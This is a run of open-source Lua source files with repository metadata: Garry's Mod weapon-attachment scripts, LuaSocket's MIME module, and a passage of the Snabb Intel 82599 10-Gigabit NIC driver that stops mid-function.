* self.Offset.Pos.Right + ang:Up() * self.Offset.Pos.Up ang:RotateAroundAxis( ang:Up(), self.Offset.Ang.Up) ang:RotateAroundAxis( ang:Right(), self.Offset.Ang.Right ) ang:RotateAroundAxis( ang:Forward(), self.Offset.Ang.Forward ) self:SetRenderOrigin( pos ) self:SetRenderAngles( ang ) self:DrawModel() end else self:SetRenderOrigin( nil ) self:SetRenderAngles( nil ) self:DrawModel() end end
gpl-3.0
chelog/brawl
addons/brawl-weapons/lua/cw/shared/attachments/md_acog.lua
1
3589
local att = {} att.name = "md_acog" att.displayName = "Trijicon ACOG" att.displayNameShort = "ACOG" att.aimPos = {"ACOGPos", "ACOGAng"} att.FOVModifier = 15 att.isSight = true att.statModifiers = {OverallMouseSensMult = -0.1} if CLIENT then att.displayIcon = surface.GetTextureID("atts/acog") att.description = {[1] = {t = "Provides 4x magnification.", c = CustomizableWeaponry.textColors.POSITIVE}, [2] = {t = "Narrow scope reduces awareness.", c = CustomizableWeaponry.textColors.NEGATIVE}, [3] = {t = "Can be disorienting at close range.", c = CustomizableWeaponry.textColors.NEGATIVE}} local old, x, y, ang local reticle = surface.GetTextureID("cw2/reticles/reticle_chevron") att.zoomTextures = {[1] = {tex = reticle, offset = {0, 1}}} local lens = surface.GetTextureID("cw2/gui/lense") local lensMat = Material("cw2/gui/lense") local cd, alpha = {}, 0.5 local Ini = true -- render target var setup cd.x = 0 cd.y = 0 cd.w = 512 cd.h = 512 cd.fov = 4.5 cd.drawviewmodel = false cd.drawhud = false cd.dopostprocess = false function att:drawRenderTarget() local complexTelescopics = self:canUseComplexTelescopics() -- if we don't have complex telescopics enabled, don't do anything complex, and just set the texture of the lens to a fallback 'lens' texture if not complexTelescopics then self.TSGlass:SetTexture("$basetexture", lensMat:GetTexture("$basetexture")) return end if self:canSeeThroughTelescopics(att.aimPos[1]) then alpha = math.Approach(alpha, 0, FrameTime() * 5) else alpha = math.Approach(alpha, 1, FrameTime() * 5) end x, y = ScrW(), ScrH() old = render.GetRenderTarget() ang = self:getTelescopeAngles() if self.ViewModelFlip then ang.r = -self.BlendAng.z else ang.r = self.BlendAng.z end if not self.freeAimOn then ang:RotateAroundAxis(ang:Right(), self.ACOGAxisAlign.right) ang:RotateAroundAxis(ang:Up(), self.ACOGAxisAlign.up) ang:RotateAroundAxis(ang:Forward(), self.ACOGAxisAlign.forward) end local size = self:getRenderTargetSize() cd.w = size cd.h = size cd.angles = ang cd.origin = self.Owner:GetShootPos() render.SetRenderTarget(self.ScopeRT) render.SetViewPort(0, 0, size, size) if alpha < 1 or Ini then render.RenderView(cd) Ini = false end ang = self.Owner:EyeAngles() ang.p = ang.p + self.BlendAng.x ang.y = ang.y + self.BlendAng.y ang.r = ang.r + self.BlendAng.z ang = -ang:Forward() local light = render.ComputeLighting(self.Owner:GetShootPos(), ang) cam.Start2D() surface.SetDrawColor(255, 255, 255, 255) surface.SetTexture(reticle) surface.DrawTexturedRect(0, 0, size, size) surface.SetDrawColor(150 * light[1], 150 * light[2], 150 * light[3], 255 * alpha) surface.SetTexture(lens) surface.DrawTexturedRectRotated(size * 0.5, size * 0.5, size, size, 90) cam.End2D() render.SetViewPort(0, 0, x, y) render.SetRenderTarget(old) if self.TSGlass then self.TSGlass:SetTexture("$basetexture", self.ScopeRT) end end end function att:attachFunc() self.OverrideAimMouseSens = 0.25 self.SimpleTelescopicsFOV = 70 self.AimViewModelFOV = 50 self.BlurOnAim = true self.ZoomTextures = att.zoomTextures end function att:detachFunc() self.OverrideAimMouseSens = nil self.SimpleTelescopicsFOV = nil self.AimViewModelFOV = self.AimViewModelFOV_Orig self.BlurOnAim = false end CustomizableWeaponry:registerAttachment(att)
gpl-3.0
chelog/brawl
addons/brawl-weapons/lua/cw/shared/attachments/bg_makpmext.lua
1
1458
local att = {} att.name = "bg_makpmext" att.displayName = "Extended Magazine" att.displayNameShort = "Ext. Mag" att.statModifiers = {ReloadSpeedMult = -.05} if CLIENT then att.displayIcon = surface.GetTextureID("atts/bg_makpmext") att.description = {[1] = {t = "Increases mag capacity to 14.", c = CustomizableWeaponry.textColors.POSITIVE}} end function att:attachFunc() self:unloadWeapon() self:setBodygroup(self.MagBGs.main, self.MagBGs.pm14rnd) if self.WMEnt then self.WMEnt:SetBodygroup(self.MagBGs.main, self.MagBGs.pm14rnd) end self.Primary.ClipSize = 14 self.Primary.ClipSize_Orig = 14 self.Animations = {fire = {"base_fire","base_fire2","base_fire3"}, fire_dry = "base_firelast", reload_empty = "base_reloadempty_extmag", reload = "base_reload_extmag", idle = "base_idle", draw = "base_ready"} end function att:detachFunc() self:unloadWeapon() self:setBodygroup(self.MagBGs.main, self.MagBGs.pm8rnd) if self.WMEnt then self.WMEnt:SetBodygroup(self.MagBGs.main, self.MagBGs.pm8rnd) end self.Primary.ClipSize = self.Primary.ClipSize_ORIG_REAL self.Primary.ClipSize_Orig = self.Primary.ClipSize_ORIG_REAL self.Animations = {fire = {"base_fire","base_fire2","base_fire3"}, fire_dry = "base_firelast", reload_empty = "base_reloadempty", reload = "base_reload", idle = "base_idle", draw = "base_ready"} end CustomizableWeaponry:registerAttachment(att)
gpl-3.0
soundsrc/premake-core
binmodules/luasocket/src/mime.lua
149
2487
----------------------------------------------------------------------------- -- MIME support for the Lua language. -- Author: Diego Nehab -- Conforming to RFCs 2045-2049 ----------------------------------------------------------------------------- ----------------------------------------------------------------------------- -- Declare module and import dependencies ----------------------------------------------------------------------------- local base = _G local ltn12 = require("ltn12") local mime = require("mime.core") local io = require("io") local string = require("string") local _M = mime -- encode, decode and wrap algorithm tables local encodet, decodet, wrapt = {},{},{} _M.encodet = encodet _M.decodet = decodet _M.wrapt = wrapt -- creates a function that chooses a filter by name from a given table local function choose(table) return function(name, opt1, opt2) if base.type(name) ~= "string" then name, opt1, opt2 = "default", name, opt1 end local f = table[name or "nil"] if not f then base.error("unknown key (" .. base.tostring(name) .. ")", 3) else return f(opt1, opt2) end end end -- define the encoding filters encodet['base64'] = function() return ltn12.filter.cycle(_M.b64, "") end encodet['quoted-printable'] = function(mode) return ltn12.filter.cycle(_M.qp, "", (mode == "binary") and "=0D=0A" or "\r\n") end -- define the decoding filters decodet['base64'] = function() return ltn12.filter.cycle(_M.unb64, "") end decodet['quoted-printable'] = function() return ltn12.filter.cycle(_M.unqp, "") end local function format(chunk) if chunk then if chunk == "" then return "''" else return string.len(chunk) end else return "nil" end end -- define the line-wrap filters wrapt['text'] = function(length) length = length or 76 return ltn12.filter.cycle(_M.wrp, length, length) end wrapt['base64'] = wrapt['text'] wrapt['default'] = wrapt['text'] wrapt['quoted-printable'] = function() return ltn12.filter.cycle(_M.qpwrp, 76, 76) end -- function that choose the encoding, decoding or wrap algorithm _M.encode = choose(encodet) _M.decode = choose(decodet) _M.wrap = choose(wrapt) -- define the end-of-line normalization filter function _M.normalize(marker) return ltn12.filter.cycle(_M.eol, 0, marker) end -- high level stuffing filter function _M.stuff() return ltn12.filter.cycle(_M.dot, 2) end return _M
bsd-3-clause
snabbnfv-goodies/snabbswitch
src/apps/intel/intel10g.lua
7
54367
--- Device driver for the Intel 82599 10-Gigabit Ethernet controller. --- This is one of the most popular production 10G Ethernet --- controllers on the market and it is readily available in --- affordable (~$400) network cards made by Intel and others. --- --- You will need to familiarize yourself with the excellent [data --- sheet]() to understand this module. module(...,package.seeall) local ffi = require "ffi" local C = ffi.C local lib = require("core.lib") local pci = require("lib.hardware.pci") local register = require("lib.hardware.register") local index_set = require("lib.index_set") local macaddress = require("lib.macaddress") local mib = require("lib.ipc.shmem.mib") local timer = require("core.timer") local bits, bitset = lib.bits, lib.bitset local band, bor, lshift = bit.band, bit.bor, bit.lshift num_descriptors = 512 --num_descriptors = 32 -- Defaults for configurable items local default = { -- The MTU configured through the MAXFRS.MFS register includes the -- Ethernet header and CRC. It is limited to 65535 bytes. We use -- the convention that the configurable MTU includes the Ethernet -- header but not the CRC. This is "natural" in the sense that the -- unit of data handed to the driver contains a complete Ethernet -- packet. -- -- For untagged packets, the Ethernet overhead is 14 bytes. If -- 802.1q tagging is used, the Ethernet overhead is increased by 4 -- bytes per tag. This overhead must be included in the MTU if -- tags are handled by the software. However, the NIC always -- accepts packets of size MAXFRS.MFS+4 and MAXFRS.MFS+8 if single- -- or double tagged packets are received (see section 8.2.3.22.13). -- In this case, we will actually accept packets which exceed the -- MTU. -- -- XXX If hardware support for VLAN tag adding or stripping is -- enabled, one should probably not include the tags in the MTU. -- -- The default MTU allows for an IP packet of a total size of 9000 -- bytes without VLAN tagging. mtu = 9014, snmp = { status_timer = 5, -- Interval for IF status check and MIB update } } local function pass (...) return ... end --- ### SF: single function: non-virtualized device local M_sf = {}; M_sf.__index = M_sf function new_sf (conf) local dev = { pciaddress = conf.pciaddr, -- PCI device address mtu = (conf.mtu or default.mtu), fd = false, -- File descriptor for PCI memory r = {}, -- Configuration registers s = {}, -- Statistics registers qs = {}, -- queue statistic registers txdesc = 0, -- Transmit descriptors (pointer) txdesc_phy = 0, -- Transmit descriptors (physical address) txpackets = {}, -- Tx descriptor index -> packet mapping tdh = 0, -- Cache of transmit head (TDH) register tdt = 0, -- Cache of transmit tail (TDT) register rxdesc = 0, -- Receive descriptors (pointer) rxdesc_phy = 0, -- Receive descriptors (physical address) rxpackets = {}, -- Rx descriptor index -> packet mapping rdh = 0, -- Cache of receive head (RDH) register rdt = 0, -- Cache of receive tail (RDT) register rxnext = 0, -- Index of next buffer to receive snmp = conf.snmp, } return setmetatable(dev, M_sf) end function M_sf:open () pci.unbind_device_from_linux(self.pciaddress) pci.set_bus_master(self.pciaddress, true) self.base, self.fd = pci.map_pci_memory(self.pciaddress, 0) register.define(config_registers_desc, self.r, self.base) register.define(transmit_registers_desc, self.r, self.base) register.define(receive_registers_desc, self.r, self.base) register.define_array(packet_filter_desc, self.r, self.base) register.define(statistics_registers_desc, self.s, self.base) register.define_array(queue_statistics_registers_desc, self.qs, self.base) self.txpackets = ffi.new("struct packet *[?]", num_descriptors) self.rxpackets = ffi.new("struct packet *[?]", num_descriptors) return self:init() end function M_sf:close() pci.set_bus_master(self.pciaddress, false) if self.free_receive_buffers then self:free_receive_buffers() end if self.discard_unsent_packets then self:discard_unsent_packets() C.usleep(1000) end if self.fd then pci.close_pci_resource(self.fd, self.base) self.fd = false end self:free_dma_memory() end --- See data sheet section 4.6.3 "Initialization Sequence." function M_sf:init () if self.snmp then self:init_snmp() end self:init_dma_memory() self.redos = 0 local mask = bits{Link_up=30} for i = 1, 100 do self :disable_interrupts() :global_reset() if i%5 == 0 then self:autonegotiate_sfi() end self :wait_eeprom_autoread() :wait_dma() :init_statistics() :init_receive() :init_transmit() :init_txdesc_prefetch() :wait_enable() :wait_linkup() if band(self.r.LINKS(), mask) == mask then self.redos = i return self end end io.write ('never got link up: ', self.pciaddress, '\n') os.exit(2) return self end do local _rx_pool = {} local _tx_pool = {} local function get_ring(ct, pool) local spot, v = next(pool) if spot and v then pool[spot] = nil return v.ptr, v.phy end local ptr, phy = memory.dma_alloc(num_descriptors * ffi.sizeof(ct)) -- Initialize unused DMA memory with -1. This is so that -- accidental premature use of DMA memory will cause a DMA error -- (write to illegal address) instead of overwriting physical -- memory near address 0. ffi.fill(ptr, 0xff, num_descriptors * ffi.sizeof(ct)) -- ptr = lib.bounds_checked(ct, ptr, 0, num_descriptors) ptr = ffi.cast(ffi.typeof("$*", ct), ptr) return ptr, phy end function M_sf:init_dma_memory () self.rxdesc, self.rxdesc_phy = get_ring(rxdesc_t, _rx_pool) self.txdesc, self.txdesc_phy = get_ring(txdesc_t, _tx_pool) return self end function M_sf:free_dma_memory() _rx_pool[#_rx_pool+1] = {ptr = self.rxdesc, phy = self.rxdesc_phy} _tx_pool[#_tx_pool+1] = {ptr = self.txdesc, phy = self.txdesc_phy} return self end end function M_sf:init_snmp () -- Rudimentary population of a row in the ifTable MIB. Allocation -- of the ifIndex is delegated to the SNMP agent via the name of -- the interface in ifDescr (currently the PCI address). local ifTable = mib:new({ directory = self.snmp.directory or nil, filename = self.pciaddress }) self.snmp.ifTable = ifTable -- ifTable ifTable:register('ifDescr', 'OctetStr', self.pciaddress) ifTable:register('ifType', 'Integer32', 6) -- ethernetCsmacd ifTable:register('ifMtu', 'Integer32', self.mtu) ifTable:register('ifSpeed', 'Gauge32', 10000000) -- After a reset of the NIC, the "native" MAC address is copied to -- the receive address register #0 from the EEPROM local ral, rah = self.r.RAL[0](), self.r.RAH[0]() assert(bit.band(rah, bits({ AV = 31 })) == bits({ AV = 31 }), "MAC address on "..self.pciaddress.." is not valid ") local mac = ffi.new("struct { uint32_t lo; uint16_t hi; }") mac.lo = ral mac.hi = bit.band(rah, 0xFFFF) ifTable:register('ifPhysAddress', { type = 'OctetStr', length = 6 }, ffi.string(mac, 6)) ifTable:register('ifAdminStatus', 'Integer32', 1) -- up ifTable:register('ifOperStatus', 'Integer32', 2) -- down ifTable:register('ifLastChange', 'TimeTicks', 0) ifTable:register('_X_ifLastChange_TicksBase', 'Counter64', C.get_unix_time()) ifTable:register('ifInOctets', 'Counter32', 0) ifTable:register('ifInUcastPkts', 'Counter32', 0) ifTable:register('ifInDiscards', 'Counter32', 0) ifTable:register('ifInErrors', 'Counter32', 0) -- TBD ifTable:register('ifInUnknownProtos', 'Counter32', 0) -- TBD ifTable:register('ifOutOctets', 'Counter32', 0) ifTable:register('ifOutUcastPkts', 'Counter32', 0) ifTable:register('ifOutDiscards', 'Counter32', 0) ifTable:register('ifOutErrors', 'Counter32', 0) -- TBD -- ifXTable ifTable:register('ifName', { type = 'OctetStr', length = 255 }, self.pciaddress) ifTable:register('ifInMulticastPkts', 'Counter32', 0) ifTable:register('ifInBroadcastPkts', 'Counter32', 0) ifTable:register('ifOutMulticastPkts', 'Counter32', 0) ifTable:register('ifOutBroadcastPkts', 'Counter32', 0) ifTable:register('ifHCInOctets', 'Counter64', 0) ifTable:register('ifHCInUcastPkts', 'Counter64', 0) ifTable:register('ifHCInMulticastPkts', 'Counter64', 0) ifTable:register('ifHCInBroadcastPkts', 'Counter64', 0) ifTable:register('ifHCOutOctets', 'Counter64', 0) ifTable:register('ifHCOutUcastPkts', 'Counter64', 0) ifTable:register('ifHCOutMulticastPkts', 'Counter64', 0) ifTable:register('ifHCOutBroadcastPkts', 'Counter64', 0) ifTable:register('ifLinkUpDownTrapEnable', 'Integer32', 2) -- disabled ifTable:register('ifHighSpeed', 'Gauge32', 10000) ifTable:register('ifPromiscuousMode', 'Integer32', 2) -- false ifTable:register('ifConnectorPresent', 'Integer32', 1) -- true ifTable:register('ifAlias', { type = 'OctetStr', length = 64 }, self.pciaddress) -- TBD add description ifTable:register('ifCounterDiscontinuityTime', 'TimeTicks', 0) -- TBD ifTable:register('_X_ifCounterDiscontinuityTime', 'Counter64', 0) -- TBD --- Create a timer to periodically check the interface status. --- Static variables are used in the timer function to avoid --- garbage. local status = { [1] = 'up', [2] = 'down' } local mask = bits{Link_up=30} local promisc = bits({UPE = 9}) -- Pre-allocate storage for the results of register-reads local r = { in_mcast_pkts = { r = self.s.MPRC }, in_bcast_pkts = { r = self.s.BPRC }, in_pkts = { r = self.s.GPRC }, in_octets64 = { r = self.s.GORC64 }, out_mcast_pkts = { r = self.s.MPTC }, out_bcast_pkts = { r = self.s.BPTC }, out_pkts = { r = self.s.GPTC }, out_octets64 = { r = self.s.GOTC64 }, } local r_keys = {} for k, _ in pairs(r) do table.insert(r_keys, k) r[k].v = ffi.new("uint64_t [1]") end local function read_registers() for _, k in ipairs(r_keys) do r[k].v[0] = r[k].r() end end self.logger = lib.logger_new({ module = 'intel10g' }) local t = timer.new("Interface "..self.pciaddress.." status checker", function(t) local old = ifTable:get('ifOperStatus') local new = 1 if band(self.r.LINKS(), mask) ~= mask then new = 2 end if old ~= new then self.logger:log("Interface "..self.pciaddress.. " status change: "..status[old].. " => "..status[new]) ifTable:set('ifOperStatus', new) ifTable:set('ifLastChange', 0) ifTable:set('_X_ifLastChange_TicksBase', C.get_unix_time()) end ifTable:set('ifPromiscuousMode', (bit.band(self.r.FCTRL(), promisc) ~= 0ULL and 1) or 2) -- Update counters read_registers() ifTable:set('ifHCInMulticastPkts', r.in_mcast_pkts.v[0]) ifTable:set('ifInMulticastPkts', r.in_mcast_pkts.v[0]) ifTable:set('ifHCInBroadcastPkts', r.in_bcast_pkts.v[0]) ifTable:set('ifInBroadcastPkts', r.in_bcast_pkts.v[0]) local in_ucast_pkts = r.in_pkts.v[0] - r.in_bcast_pkts.v[0] - r.in_mcast_pkts.v[0] ifTable:set('ifHCInUcastPkts', in_ucast_pkts) ifTable:set('ifInUcastPkts', in_ucast_pkts) ifTable:set('ifHCInOctets', r.in_octets64.v[0]) ifTable:set('ifInOctets', r.in_octets64.v[0]) ifTable:set('ifHCOutMulticastPkts', r.out_mcast_pkts.v[0]) ifTable:set('ifOutMulticastPkts', r.out_mcast_pkts.v[0]) ifTable:set('ifHCOutBroadcastPkts', r.out_bcast_pkts.v[0]) ifTable:set('ifOutBroadcastPkts', r.out_bcast_pkts.v[0]) local out_ucast_pkts = r.out_pkts.v[0] - r.out_bcast_pkts.v[0] - r.out_mcast_pkts.v[0] ifTable:set('ifHCOutUcastPkts', out_ucast_pkts) ifTable:set('ifOutUcastPkts', out_ucast_pkts) ifTable:set('ifHCOutOctets', r.out_octets64.v[0]) ifTable:set('ifOutOctets', r.out_octets64.v[0]) -- The RX receive drop counts are only -- available through the RX stats register. -- We only read stats register #0 here. See comment -- in init_statistics() ifTable:set('ifInDiscards', self.qs.QPRDC[0]()) ifTable:set('ifInErrors', self.s.CRCERRS() + self.s.ILLERRC() + self.s.ERRBC() + self.s.RUC() + self.s.RFC() + self.s.ROC() + self.s.RJC()) end, 1e9 * (self.snmp.status_timer or default.snmp.status_timer), 'repeating') timer.activate(t) return self end function M_sf:global_reset () local reset = bits{LinkReset=3, DeviceReset=26} self.r.CTRL(reset) C.usleep(1000) self.r.CTRL:wait(reset, 0) return self end function M_sf:disable_interrupts () return self end --- XXX do this function M_sf:wait_eeprom_autoread () self.r.EEC:wait(bits{AutoreadDone=9}) return self end function M_sf:wait_dma () self.r.RDRXCTL:wait(bits{DMAInitDone=3}) return self end function M_sf:init_statistics () -- Read and then zero each statistic register for _,reg in pairs(self.s) do reg:read() reg:reset() end -- Make sure RX Queue #0 is mapped to the stats register #0. In -- the default configuration, all 128 RX queues are mapped to this -- stats register. In non-virtualized mode, only queue #0 is -- actually used. self.qs.RQSMR[0]:set(0) return self end function M_sf:init_receive () self.r.RXCTRL:clr(bits{RXEN=0}) self:set_promiscuous_mode() -- NB: don't need to program MAC address filter self.r.HLREG0(bits{ TXCRCEN=0, RXCRCSTRP=1, rsv2=3, TXPADEN=10, rsvd3=11, rsvd4=13, MDCSPD=16 }) if self.mtu > 1514 then self.r.HLREG0:set(bits{ JUMBOEN=2 }) -- MAXFRS is set to a hard-wired default of 1518 if JUMBOEN is -- not set. The MTU does *not* include the 4-byte CRC, but -- MAXFRS does. self.r.MAXFRS(lshift(self.mtu+4, 16)) end self:set_receive_descriptors() self.r.RXCTRL:set(bits{RXEN=0}) if self.r.DCA_RXCTRL then -- Register may be undefined in subclass (PF) -- Datasheet 4.6.7 says to clear this bit. -- Have observed payload corruption when this is not done. self.r.DCA_RXCTRL:clr(bits{RxCTRL=12}) end return self end function M_sf:set_rx_buffersize(rx_buffersize) rx_buffersize = math.min(16, math.floor((rx_buffersize or 16384) / 1024)) -- size in KB, max 16KB assert (rx_buffersize > 0, "rx_buffersize must be more than 1024") assert(rx_buffersize*1024 >= self.mtu, "rx_buffersize is too small for the MTU") self.rx_buffersize = rx_buffersize * 1024 self.r.SRRCTL(bits({DesctypeLSB=25}, rx_buffersize)) self.r.SRRCTL:set(bits({Drop_En=28})) -- Enable RX queue drop counter return self end function M_sf:set_receive_descriptors () self:set_rx_buffersize(16384) -- start at max self.r.RDBAL(self.rxdesc_phy % 2^32) self.r.RDBAH(self.rxdesc_phy / 2^32) self.r.RDLEN(num_descriptors * ffi.sizeof(rxdesc_t)) return self end function M_sf:wait_enable () self.r.RXDCTL(bits{Enable=25}) self.r.RXDCTL:wait(bits{enable=25}) self.r.TXDCTL:wait(bits{Enable=25}) return self end function M_sf:set_promiscuous_mode () self.r.FCTRL(bits({MPE=8, UPE=9, BAM=10})) return self end function M_sf:init_transmit () self.r.HLREG0:set(bits{TXCRCEN=0}) self:set_transmit_descriptors() self.r.DMATXCTL:set(bits{TE=0}) return self end function M_sf:init_txdesc_prefetch () self.r.TXDCTL:set(bits{SWFLSH=26, hthresh=8} + 32) return self end function M_sf:set_transmit_descriptors () self.r.TDBAL(self.txdesc_phy % 2^32) self.r.TDBAH(self.txdesc_phy / 2^32) self.r.TDLEN(num_descriptors * ffi.sizeof(txdesc_t)) return self end --- ### Transmit --- See datasheet section 7.1 "Inline Functions -- Transmit Functionality." local txdesc_flags = bits{ifcs=25, dext=29, dtyp0=20, dtyp1=21, eop=24} function M_sf:transmit (p) -- We must not send packets that are bigger than the MTU. This -- check is currently disabled to satisfy some selftests until -- agreement on this strategy is reached. -- if p.length > self.mtu then -- if self.snmp then -- local errors = self.snmp.ifTable:ptr('ifOutDiscards') -- errors[0] = errors[0] + 1 -- end -- packet.free(p) -- else do self.txdesc[self.tdt].address = memory.virtual_to_physical(p.data) self.txdesc[self.tdt].options = bor(p.length, txdesc_flags, lshift(p.length+0ULL, 46)) self.txpackets[self.tdt] = p self.tdt = band(self.tdt + 1, num_descriptors - 1) end end function M_sf:sync_transmit () local old_tdh = self.tdh self.tdh = self.r.TDH() C.full_memory_barrier() -- Release processed buffers if old_tdh ~= self.tdh then while old_tdh ~= self.tdh do packet.free(self.txpackets[old_tdh]) self.txpackets[old_tdh] = nil old_tdh = band(old_tdh + 1, num_descriptors - 1) end end self.r.TDT(self.tdt) end function M_sf:can_transmit () return band(self.tdt + 1, num_descriptors - 1) ~= self.tdh end function M_sf:discard_unsent_packets() local old_tdt = self.tdt self.tdt = self.r.TDT() self.tdh = self.r.TDH() self.r.TDT(self.tdh) while old_tdt ~= self.tdh do old_tdt = band(old_tdt - 1, num_descriptors - 1) packet.free(self.txpackets[old_tdt]) self.txdesc[old_tdt].address = -1 self.txdesc[old_tdt].options = 0 end self.tdt = self.tdh end --- See datasheet section 7.1 "Inline Functions -- Receive Functionality." function M_sf:receive () assert(self:can_receive()) local wb = self.rxdesc[self.rxnext].wb local p = self.rxpackets[self.rxnext] p.length = wb.pkt_len self.rxpackets[self.rxnext] = nil self.rxnext = band(self.rxnext + 1, num_descriptors - 1) return p end function M_sf:can_receive () return self.rxnext ~= self.rdh and band(self.rxdesc[self.rxnext].wb.xstatus_xerror, 1) == 1 end function M_sf:can_add_receive_buffer () return band(self.rdt + 1, num_descriptors - 1) ~= self.rxnext end function M_sf:add_receive_buffer (p) assert(self:can_add_receive_buffer()) local desc = self.rxdesc[self.rdt].data desc.address, desc.dd = memory.virtual_to_physical(p.data), 0 self.rxpackets[self.rdt] = p self.rdt = band(self.rdt + 1, num_descriptors - 1) end function M_sf:free_receive_buffers () while self.rdt ~= self.rdh do self.rdt = band(self.rdt - 1, num_descriptors - 1) local desc = self.rxdesc[self.rdt].data desc.address, desc.dd = -1, 0 packet.free(self.rxpackets[self.rdt]) self.rxpackets[self.rdt] = nil end end function M_sf:sync_receive () -- XXX I have been surprised to see RDH = num_descriptors, -- must check what that means. -luke self.rdh = math.min(self.r.RDH(), num_descriptors-1) assert(self.rdh < num_descriptors) C.full_memory_barrier() self.r.RDT(self.rdt) end function M_sf:wait_linkup () self.waitlu_ms = 0 local mask = bits{Link_up=30} for count = 1, 250 do if band(self.r.LINKS(), mask) == mask then self.waitlu_ms = count return self end C.usleep(1000) end self.waitlu_ms = 250 return self end --- ### Status and diagnostics -- negotiate access to software/firmware shared resource -- section 10.5.4 function negotiated_autoc (dev, f) local function waitfor (test, attempts, interval) interval = interval or 100 for count = 1,attempts do if test() then return true end C.usleep(interval) io.flush() end return false end local function tb (reg, mask, val) return function() return bit.band(reg(), mask) == (val or mask) end end local gotresource = waitfor(function() local accessible = false local softOK = waitfor (tb(dev.r.SWSM, bits{SMBI=0},0), 30100) dev.r.SWSM:set(bits{SWESMBI=1}) local firmOK = waitfor (tb(dev.r.SWSM, bits{SWESMBI=1}), 30000) accessible = bit.band(dev.r.SW_FW_SYNC(), 0x108) == 0 if not firmOK then dev.r.SW_FW_SYNC:clr(0x03E0) -- clear all firmware bits accessible = true end if not softOK then dev.r.SW_FW_SYNC:clr(0x1F) -- clear all software bits accessible = true end if accessible then dev.r.SW_FW_SYNC:set(0x8) end dev.r.SWSM:clr(bits{SMBI=0, SWESMBI=1}) if not accessible then C.usleep(100) end return accessible end, 10000) -- TODO: only twice if not gotresource then error("Can't acquire shared resource") end local r = f(dev) waitfor (tb(dev.r.SWSM, bits{SMBI=0},0), 30100) dev.r.SWSM:set(bits{SWESMBI=1}) waitfor (tb(dev.r.SWSM, bits{SWESMBI=1}), 30000) dev.r.SW_FW_SYNC:clr(0x108) dev.r.SWSM:clr(bits{SMBI=0, SWESMBI=1}) return r end function set_SFI (dev, lms) lms = lms or bit.lshift(0x3, 13) -- 10G SFI local autoc = dev.r.AUTOC() if bit.band(autoc, bit.lshift(0x7, 13)) == lms then dev.r.AUTOC(bits({restart_AN=12}, bit.bxor(autoc, 0x8000))) -- flip LMS[2] (15) lib.waitfor(function () return bit.band(dev.r.ANLP1(), 0xF0000) ~= 0 end) end dev.r.AUTOC(bit.bor(bit.band(autoc, 0xFFFF1FFF), lms)) return dev end function M_sf:autonegotiate_sfi () return negotiated_autoc(self, function() set_SFI(self) self.r.AUTOC:set(bits{restart_AN=12}) self.r.AUTOC2(0x00020000) return self end) end --- ### PF: the physiscal device in a virtualized setup local M_pf = {}; M_pf.__index = M_pf function new_pf (conf) local dev = { pciaddress = conf.pciaddr, -- PCI device address mtu = (conf.mtu or default.mtu), r = {}, -- Configuration registers s = {}, -- Statistics registers qs = {}, -- queue statistic registers mac_set = index_set:new(127, "MAC address table"), vlan_set = index_set:new(64, "VLAN Filter table"), mirror_set = index_set:new(4, "Mirror pool table"), snmp = conf.snmp, } return setmetatable(dev, M_pf) end function M_pf:open () pci.unbind_device_from_linux(self.pciaddress) pci.set_bus_master(self.pciaddress, true) self.base, self.fd = pci.map_pci_memory(self.pciaddress, 0) register.define(config_registers_desc, self.r, self.base) register.define_array(switch_config_registers_desc, self.r, self.base) register.define_array(packet_filter_desc, self.r, self.base) register.define(statistics_registers_desc, self.s, self.base) register.define_array(queue_statistics_registers_desc, self.qs, self.base) return self:init() end function M_pf:close() pci.set_bus_master(self.pciaddress, false) if self.fd then pci.close_pci_resource(self.fd, self.base) self.fd = false end end function M_pf:init () if self.snmp then self:init_snmp() end self.redos = 0 local mask = bits{Link_up=30} for i = 1, 100 do self :disable_interrupts() :global_reset() if i%5 == 0 then self:autonegotiate_sfi() end self :wait_eeprom_autoread() :wait_dma() :set_vmdq_mode() :init_statistics() :init_receive() :init_transmit() :wait_linkup() if band(self.r.LINKS(), mask) == mask then return self end self.redos = i end io.write ('never got link up: ', self.pciaddress, '\n') os.exit(2) return self end M_pf.init_snmp = M_sf.init_snmp M_pf.global_reset = M_sf.global_reset M_pf.disable_interrupts = M_sf.disable_interrupts M_pf.set_receive_descriptors = pass M_pf.set_transmit_descriptors = pass M_pf.autonegotiate_sfi = M_sf.autonegotiate_sfi M_pf.wait_eeprom_autoread = M_sf.wait_eeprom_autoread M_pf.wait_dma = M_sf.wait_dma M_pf.init_statistics = M_sf.init_statistics M_pf.set_promiscuous_mode = M_sf.set_promiscuous_mode M_pf.init_receive = M_sf.init_receive M_pf.init_transmit = M_sf.init_transmit M_pf.wait_linkup = M_sf.wait_linkup function M_pf:set_vmdq_mode () self.r.RTTDCS(bits{VMPAC=1,ARBDIS=6,BDPM=22}) -- clear TDPAC,TDRM=4, BPBFSM self.r.RFCTL:set(bits{RSC_Dis=5}) -- no RSC self.r.MRQC(0x08) -- 1000b -> 64 pools, x2queues, no RSS, no IOV self.r.MTQC(bits{VT_Ena=1, Num_TC_OR_Q=2}) -- 128 Tx Queues, 64 VMs (4.6.11.3.3) self.r.PFVTCTL(bits{VT_Ena=0, Rpl_En=30, DisDefPool=29}) -- enable virtualization, replication enabled self.r.PFDTXGSWC:set(bits{LBE=0}) -- enable Tx to Rx loopback self.r.RXPBSIZE[0](0x80000) -- no DCB: all queues to PB0 (0x200<<10) self.r.TXPBSIZE[0](0x28000) -- (0xA0<<10) self.r.TXPBTHRESH[0](0xA0) self.r.FCRTH[0](0x10000) self.r.RXDSTATCTRL(0x10) -- Rx DMA Statistic for all queues self.r.VLNCTRL:set(bits{VFE=30}) -- Vlan filter enable for i = 1, 7 do self.r.RXPBSIZE[i](0x00) self.r.TXPBSIZE[i](0x00) self.r.TXPBTHRESH[i](0x00) end for i = 0, 7 do self.r.RTTDT2C[i](0x00) self.r.RTTPT2C[i](0x00) self.r.ETQF[i](0x00) -- disable ethertype filter self.r.ETQS[0](0x00) end -- clear PFQDE.QDE (queue drop enable) for each queue for i = 0, 127 do self.r.PFQDE(bor(lshift(1,16), lshift(i,8))) self.r.FTQF[i](0x00) -- disable L3/4 filter self.r.RAH[i](0) self.r.RAL[i](0) self.r.VFTA[i](0) self.r.PFVLVFB[i](0) end for i = 0, 63 do self.r.RTTDQSEL(i) self.r.RTTDT1C(0x00) self.r.PFVLVF[i](0) end for i = 0, 31 do self.r.RETA[i](0x00) -- clear redirection table end self.r.RTRUP2TC(0x00) -- Rx UPnMAP = 0 self.r.RTTUP2TC(0x00) -- Tx UPnMAP = 0 -- move to vf initialization -- set_pool_transmit_weight(dev, 0, 0x1000) 